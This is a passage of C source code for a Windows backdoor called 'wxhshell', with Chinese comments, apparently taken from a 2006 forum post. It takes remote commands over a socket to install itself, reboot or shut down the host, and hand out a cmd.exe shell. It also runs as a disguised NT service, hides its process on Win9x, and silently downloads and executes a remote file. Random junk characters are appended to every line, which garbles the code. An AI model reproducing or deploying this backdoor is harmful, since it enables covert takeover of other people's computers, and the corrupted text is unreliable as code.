gZN8!#h}B  
    switch(cmd[0]) { wo4;n9@I  
  /a{la8Ni  
  // 帮助 * aN  
  case '?': { 9+j0q%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YN/|$sMD|  
    break; s3z$e+A8  
  } ?M8dP%&r  
  // 安装 |?!~{-o  
  case 'i': { `95r0t0hh\  
    if(Install()) abuh`H#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vx$\hcG  
    else WJQvB=D&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +9M^7/}H  
    break; :0Bq^G"ge  
    } \HqNAE2T  
  // 卸载 *w|:~g  
  case 'r': { SEo'(-5  
    if(Uninstall()) IbT=8l,Li  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?AS{`.1  
    else V[RF </2T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | z9*GY6RU  
    break; !=pn77`g >  
    } o*b] p-  
  // 显示 wxhshell 所在路径 1#C4;3i,  
  case 'p': { `nUXDmdwzO  
    char svExeFile[MAX_PATH]; Jb0`42  
    strcpy(svExeFile,"\n\r"); r)lEofX,g+  
      strcat(svExeFile,ExeFile); 8NxM4$nQX  
        send(wsh,svExeFile,strlen(svExeFile),0); TITKj?*o  
    break; L9r8BK;  
    } Hkk/xNP  
  // 重启 ?Y$JWEPJ  
  case 'b': { ^|/TC!v]M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 02f~En}>6  
    if(Boot(REBOOT)) lNy.g{2f<m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;!=G   
    else { UxbjA- U[  
    closesocket(wsh); 6@Y_*4$|  
    ExitThread(0); 8hu<E4]L  
    } Dl<bnx;0  
    break; hB "fhX  
    } tWJZoD6}h  
  // 关机 P60~ V"/P  
  case 'd': { >W%EmnLK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A}BVep@D  
    if(Boot(SHUTDOWN)) +O"!qAiK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4-? C>  
    else { zpzK>DH(  
    closesocket(wsh); Cl5uS%g  
    ExitThread(0); <->{  
    } o15-ZzE-  
    break; x/NfZ5e0X  
    } #pT"BSz]  
  // 获取shell Vrjc~>X  
  case 's': { *U^6u/iH  
    CmdShell(wsh); $3W;=Id=+  
    closesocket(wsh); Ar%%}Gx /  
    ExitThread(0); 'vVQg  
    break; `n.5f[wC  
  } %oF}HF.  
  // 退出 $I!XSz"/e  
  case 'x': { S{Kiy#ltWc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 61Bwb]\f/|  
    CloseIt(wsh); }d[ kxo  
    break; &SIq2>QA  
    } dV*]f$wQ  
  // 离开 +dWDxguE{w  
  case 'q': { Y4OPEo5o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (jnzT=y  
    closesocket(wsh); [/PR\'|  
    WSACleanup(); ")_|69 VX  
    exit(1); =qoWCmg"&  
    break; ls?~+\Jb  
        } 3oBtP<yG.  
  } $'0u|Xy`  
  } :I"2V  
I.WvLLK2  
  // 提示信息 rK@8/?y5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v V'EZ ?  
} o906/5M  
  } bH-ub2@qO  
}HL]yDO  
  return; 9"@\s$ OBk  
} q YC;cKv  
{i1| R"ta  
// shell模块句柄 9 3U_tQ&1?  
int CmdShell(SOCKET sock) nxY\|@  
{ u9:`4b   
STARTUPINFO si; Yw22z #K  
ZeroMemory(&si,sizeof(si)); sWQfr$^A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `uq8G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A ;G;^s  
PROCESS_INFORMATION ProcessInfo; @d^Grm8E  
char cmdline[]="cmd";  jPC[_g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ot$-!Y;<  
  return 0; >L|;|X!m9\  
} @+;$jRwq  
@v$Y7mw3D  
// 自身启动模式 ;5wn67'  
int StartFromService(void) )) Zf|86N  
{ %&$Tz1"  
typedef struct !5wIIS:FT  
{ +y,T4^{  
  DWORD ExitStatus; eiuSvyY  
  DWORD PebBaseAddress; E0BMv/r8b  
  DWORD AffinityMask; S_iMVHe  
  DWORD BasePriority; )r';lGh2#  
  ULONG UniqueProcessId; "C?#SO B  
  ULONG InheritedFromUniqueProcessId; BmBj7  
}   PROCESS_BASIC_INFORMATION; g-qP;vy@"q  
&d9{k5/+\  
PROCNTQSIP NtQueryInformationProcess; w _u\pa  
rJd,Rdt.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NnO~dRx{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yxonRV$&  
LU+3{O5y  
  HANDLE             hProcess; t^VwR=i  
  PROCESS_BASIC_INFORMATION pbi; Bm.afsM;  
F^l[GdUosK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y4%:7mw~=  
  if(NULL == hInst ) return 0; DDvh4<Hk  
s J\BF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HPpR.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7t3X)Ah  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |VKK#J/  
C#QpQg2  
  if (!NtQueryInformationProcess) return 0; Pl(Q,e7O]  
"B8Q:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TbA}BFT`  
  if(!hProcess) return 0; D,m]CK '  
;1#H62Z*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c@YI;HS_g  
gep;{G}  
  CloseHandle(hProcess); *v?`<)P#  
du+y5dw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k2E0/ @f{k  
if(hProcess==NULL) return 0; zFfoqb#*g  
5&xB6|k  
HMODULE hMod; =6xrfDbN8  
char procName[255]; &6DMk-  
unsigned long cbNeeded; 1h(0IjG8  
3E7ULK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D@C-5rmq  
X"MB|N y  
  CloseHandle(hProcess); fz;iOjr>  
vVj  
if(strstr(procName,"services")) return 1; // 以服务启动 YgKZ#?*  
YX%[ipgB  
  return 0; // 注册表启动 mrTlXXz  
} A+HF@Uw}^  
<Q$@r?Mu]  
// 主模块 h"lX 4  
int StartWxhshell(LPSTR lpCmdLine) $GYm6x\4  
{ ko1J094Y%  
  SOCKET wsl; !P ~_Dl2d  
BOOL val=TRUE; EQ2#/>  
  int port=0; PiYY6i0  
  struct sockaddr_in door; ^F>cp ,x  
k- Q%.o  
  if(wscfg.ws_autoins) Install(); @HT% n  
{-ZFp  
port=atoi(lpCmdLine); CPgCjtY  
Yv hA_v  
if(port<=0) port=wscfg.ws_port; "b?v?V0%C  
e}mD]O}  
  WSADATA data; K )[]fm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h"`ucC8X  
|}2 3>l7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `(T,+T4C5k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v. %R}Pa  
  door.sin_family = AF_INET; t c[n&X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c?P?yIz6p  
  door.sin_port = htons(port); :iFIQpk  
! N|0x`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .e3NnOzyxS  
closesocket(wsl); `L:CA5sBud  
return 1; ;V^ 112|C  
} :z}MIuf  
El<]b7  
  if(listen(wsl,2) == INVALID_SOCKET) { ~+bv6qxg]\  
closesocket(wsl); {zQS$VhXr  
return 1; &-s'BT[PGq  
} ?P4w]a  
  Wxhshell(wsl); Pa(^}n|  
  WSACleanup(); `IOs-%s  
"@evXql3`  
return 0; OQ8 bI=?[x  
m#ZO`W  
} U ?'vXa  
!)  S ?m  
// 以NT服务方式启动 OF%B[h&   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?in|qevL  
{ dX\.t <  
DWORD   status = 0; "8'@3$>R=  
  DWORD   specificError = 0xfffffff; 3VuW#m#j  
+${D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V I,ACj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }YjX3|8zL=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; > *@y8u*  
  serviceStatus.dwWin32ExitCode     = 0; (*1v\Q  
  serviceStatus.dwServiceSpecificExitCode = 0; PpV'F[|,r  
  serviceStatus.dwCheckPoint       = 0; tS|9fBdCs  
  serviceStatus.dwWaitHint       = 0; Ys -T0  
ii%+jdi.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i.=w]S j  
  if (hServiceStatusHandle==0) return; DKfE.p)  
DvPlV q~  
status = GetLastError(); h8 'v d3  
  if (status!=NO_ERROR) x&^_c0fn  
{ |_}2f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <F'X<Bau  
    serviceStatus.dwCheckPoint       = 0; RlheQTJ  
    serviceStatus.dwWaitHint       = 0; G+F#n6Vx  
    serviceStatus.dwWin32ExitCode     = status; J~B<7O<?!1  
    serviceStatus.dwServiceSpecificExitCode = specificError; eFBeJZuE|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :`E8Z:-R  
    return; $p#%G#T  
  } Gq_-Val]"  
4VHqBQ4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;^ La"m  
  serviceStatus.dwCheckPoint       = 0; xBUya4w  
  serviceStatus.dwWaitHint       = 0; HODz*pI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /R~1Zj2&  
} *4U^0e  
Jo$G,Q  
// 处理NT服务事件,比如:启动、停止 IGS1|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dw=gs{8D  
{ wUiys/ OVM  
switch(fdwControl) 3l[Mc Z  
{ Au{<hQ =  
case SERVICE_CONTROL_STOP: ^M%uV  
  serviceStatus.dwWin32ExitCode = 0; %@;6^=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d}LRl"_n  
  serviceStatus.dwCheckPoint   = 0; @S|jC2^+h  
  serviceStatus.dwWaitHint     = 0; H~GQ;PhRx  
  { A 6OGs/:&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Na$Is'F &p  
  } uum;q-"  
  return; F.-R r  
case SERVICE_CONTROL_PAUSE: lE!a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \\{J'j>{f  
  break; @+'-ADX  
case SERVICE_CONTROL_CONTINUE: S;~g3DC d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w^Lta  
  break; gzBy?r> r  
case SERVICE_CONTROL_INTERROGATE: |u0( t,T  
  break; %7#-%{  
}; CNQC^d\ h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TT50(_8  
} *.~6S3}  
X/z6"*(|/  
// 标准应用程序主函数 s7g(3<(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /CuXa%Ci^  
{ T<JwD[ (  
SrFS#  
// 获取操作系统版本 ymegr(9&K  
OsIsNt=GetOsVer(); AZzuI*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nl(WJKq'  
}Ow>dV?  
  // 从命令行安装 Zq,9&y~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3uZJ.Fb  
o@#Y8M  
  // 下载执行文件 YLwnhy>dD  
if(wscfg.ws_downexe) { $U$V?x uE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |+35y_i6  
  WinExec(wscfg.ws_filenam,SW_HIDE); z\0 CE]#T  
} tp6M=MC%  
qOSg!aft{Q  
if(!OsIsNt) { J 8M$k/"X  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zm"{Viv]  
HideProc(); %honO@$  
StartWxhshell(lpCmdLine); 5Xl /L  
} NE/m-ILw  
else "Fy7K#n  
  if(StartFromService()) 0O\SU"bP  
  // 以服务方式启动 ZDD..j  
  StartServiceCtrlDispatcher(DispatchTable); WVmq% ,7  
else ddfs8\  
  // 普通方式启动 JC}f-%H?K  
  StartWxhshell(lpCmdLine); ]W Zq^'q.  
"6R 5+  
return 0; z >YFyu#LF  
}
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只看该作者 1 发表于: 2006-10-10
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